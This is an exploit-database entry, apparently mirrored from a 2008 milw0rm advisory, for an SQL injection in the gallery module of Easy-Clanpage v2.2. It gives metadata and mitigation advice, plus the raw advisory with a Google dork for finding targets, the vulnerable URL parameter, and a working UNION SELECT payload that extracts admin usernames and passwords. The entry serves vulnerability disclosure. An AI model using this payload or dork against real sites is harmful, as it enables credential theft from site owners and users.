header-logo
Suggest Exploit
vendor:
Easy-Clanpage
by:
n3w7u
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Easy-Clanpage
Affected Version From: 2.2
Affected Version To: 2.2
Patch Exists: YES
Related CWE: N/A
CPE: a:easy-clanpage:easy-clanpage:2.2
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

Easy-Clanpage v2.2 (gallery) Remote SQL Injection Vulnerability

A remote SQL injection vulnerability exists in Easy-Clanpage v2.2 (gallery). An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable application. This can allow the attacker to gain access to sensitive information such as usernames and passwords.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.
Source

Exploit-DB raw data:

.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.

 ~ Easy-Clanpage v2.2 (gallery) Remote SQL Injection Vulnerability ~

.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-.

[+] Author: n3w7u

[+] Mail: n3w7u@gmx.net

[+] Source: http://easy-clanpage.de/?section=downloads&show=viewdownload&id=14

[+] Dork: "Easy-Clanpage v2.2"

.-=--=--=--=--=--=--=--=--=--=--=-.

[+] Vuln File: /modules/gallery/index.php

[+] Exploit: http://[host]/[path]/?section=gallery&action=kate&id=

[+] Example -1/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7/**/from/**/ecp_user/**/where/**/userid=1/*

# milw0rm.com [2008-03-18]

Navigation

Suggest Exploit

Services By CQR